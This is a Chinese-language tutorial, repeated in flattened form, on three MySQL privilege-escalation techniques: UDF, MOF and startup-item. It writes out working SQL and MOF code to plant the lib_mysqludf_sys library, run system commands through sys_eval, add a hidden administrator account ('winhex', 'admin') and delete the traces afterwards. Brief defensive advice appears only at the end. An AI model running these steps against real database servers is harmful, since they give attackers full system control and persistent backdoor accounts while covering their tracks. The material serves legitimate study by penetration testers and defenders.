MySQL提权的三种方法
字数 1466 2025-08-15 21:34:06

MySQL提权技术详解

一、MySQL提权概述

MySQL提权是指通过MySQL数据库漏洞或配置不当,获取系统更高权限的过程。本文详细讲解三种主要的MySQL提权方法:UDF提权、MOF提权和启动项提权。

二、MySQL提权前提条件

  1. 基本条件

    • 具有MySQL的root权限
    • MySQL以system权限运行(Windows)或root权限运行(Linux)
    • 具有执行SQL语句的权限
  2. 获取root密码的方法

    • 查看数据库配置文件(关键字:config、conn、sql、data、inc、database等)
    • 下载MySQL安装路径下的数据文件(路径:安装路径\data\mysql\user.MYD)
    • 暴力破解

三、UDF提权(用户自定义函数提权)

原理

UDF(User Defined Function)允许通过添加新函数扩展MySQL功能,通过调用DLL中的函数实现特殊功能。

Windows UDF提权

条件

  • MySQL版本>5.1:udf.dll必须放在MySQL\Lib\Plugin\目录(需手动创建)
  • MySQL版本≤5.1:
    • Windows Server 2003:c:/windows/system32/
    • Windows Server 2000:c:/winnt/system32/
  • 有insert和delete权限
  • 有写入目标目录的权限

步骤

  1. 获取DLL文件

    • 路径:sqlmap/data/udf/mysql/windows/
    • 使用sqlmap的cloak.py解码:
      python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
      
  2. 上传DLL文件

    select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
    
  3. 创建函数

    create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
    
  4. 执行命令

    select sys_eval("whoami");
    select sys_eval("net user winhex passw@ord /add");
    select sys_eval("net localgroup administrators winhex /add");
    
  5. 清理痕迹

    drop function sys_eval;
    delete from mysql.func where name='sys_eval';
    

Linux UDF提权

条件

  • my.ini中[mysqld]下添加:secure_file_priv=""
  • MySQL以root权限运行
  • 有SQL执行权限
  • 导出目录可写
  • SELinux关闭

步骤

  1. 查找插件路径:

    show variables like '%plugin%';
    
  2. 获取.so文件:

    • 路径:sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_
  3. 16进制编码后写入:

    select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so';
    
  4. 创建函数:

    create function sys_eval returns string soname 'xxx.so';
    
  5. 执行命令:

    select sys_eval('whoami');
    

四、MOF提权

原理

利用C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件每分钟执行的特性。

条件

  • 仅适用于Windows(XP、Server 2003等低版本)
  • 对C:\Windows\System32\wbem\MOF目录有读写权限
  • 能找到可写目录上传mof文件

步骤

  1. 创建mof文件(内容如下):

    #pragma namespace("\.\root\subscription")
    
    instance of EventFilter as $EventFilter{
        EventNamespace ="Root\Cimv2";
        Name = "filtP2";
        Query = "Select * From InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
        QueryLanguage = "WQL";
    };
    
    instance of ActiveScriptEventConsumer as $Consumer
    {
        Name = "consPCSV2";
        ScriptingEngine = "JScript";
        ScriptText =
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
    };
    
    instance of __FilterToConsumerBinding
    {
        Consumer = $Consumer;
        Filter = $EventFilter;
    };
    
  2. 上传并执行:

    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof';
    

补救措施

  1. 停止服务:

    net stop winmgmt
    
  2. 删除文件夹:

    C:\Windows\System32\wbem\Repository
    
  3. 重启服务:

    net start winmgmt
    

五、启动项提权

方法

通过MySQL将后门写入开机启动项:

-- 将恶意脚本写入启动目录
select "恶意命令" into dumpfile "启动目录路径";

注意

  • 需要重启服务器才能生效
  • 启动目录通常为:
    • Windows: C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    • Linux: /etc/rc.local 或 /etc/init.d/

六、防御措施

  1. 最小权限原则

    • MySQL不要以system/root权限运行
    • 限制用户权限
  2. 文件权限控制

    • 限制plugin目录写入权限
    • 限制MOF目录写入权限
  3. 配置安全

    • 设置secure_file_priv为特定目录或空值
    • 禁用不必要的功能
  4. 监控与审计

    • 监控异常SQL操作
    • 定期检查mysql.func表
  5. 其他措施

    • 及时更新MySQL版本
    • 使用强密码
    • 关闭远程访问或限制IP
MySQL提权技术详解 一、MySQL提权概述 MySQL提权是指通过MySQL数据库漏洞或配置不当,获取系统更高权限的过程。本文详细讲解三种主要的MySQL提权方法:UDF提权、MOF提权和启动项提权。 二、MySQL提权前提条件 基本条件 : 具有MySQL的root权限 MySQL以system权限运行(Windows)或root权限运行(Linux) 具有执行SQL语句的权限 获取root密码的方法 : 查看数据库配置文件(关键字:config、conn、sql、data、inc、database等) 下载MySQL安装路径下的数据文件(路径:安装路径\data\mysql\user.MYD) 暴力破解 三、UDF提权(用户自定义函数提权) 原理 UDF(User Defined Function)允许通过添加新函数扩展MySQL功能,通过调用DLL中的函数实现特殊功能。 Windows UDF提权 条件 MySQL版本>5.1:udf.dll必须放在MySQL\Lib\Plugin\目录(需手动创建) MySQL版本≤5.1: Windows Server 2003:c:/windows/system32/ Windows Server 2000:c:/winnt/system32/ 有insert和delete权限 有写入目标目录的权限 步骤 获取DLL文件 : 路径:sqlmap/data/udf/mysql/windows/ 使用sqlmap的cloak.py解码: 上传DLL文件 : 创建函数 : 执行命令 : 清理痕迹 : Linux UDF提权 条件 my.ini中[ mysqld]下添加:secure_ file_ priv="" MySQL以root权限运行 有SQL执行权限 导出目录可写 SELinux关闭 步骤 查找插件路径: 获取.so文件: 路径:sqlmap-master\data\udf\mysql\linux\64\lib_ mysqludf_ sys.so_ 16进制编码后写入: 创建函数: 执行命令: 四、MOF提权 原理 利用C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件每分钟执行的特性。 条件 仅适用于Windows(XP、Server 2003等低版本) 对C:\Windows\System32\wbem\MOF目录有读写权限 能找到可写目录上传mof文件 步骤 创建mof文件(内容如下): 上传并执行: 补救措施 停止服务: 删除文件夹: 重启服务: 五、启动项提权 方法 通过MySQL将后门写入开机启动项: 注意 需要重启服务器才能生效 启动目录通常为: Windows: C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Linux: /etc/rc.local 或 /etc/init.d/ 六、防御措施 最小权限原则 : MySQL不要以system/root权限运行 限制用户权限 文件权限控制 : 限制plugin目录写入权限 限制MOF目录写入权限 配置安全 : 设置secure_ file_ priv为特定目录或空值 禁用不必要的功能 监控与审计 : 监控异常SQL操作 定期检查mysql.func表 其他措施 : 及时更新MySQL版本 使用强密码 关闭远程访问或限制IP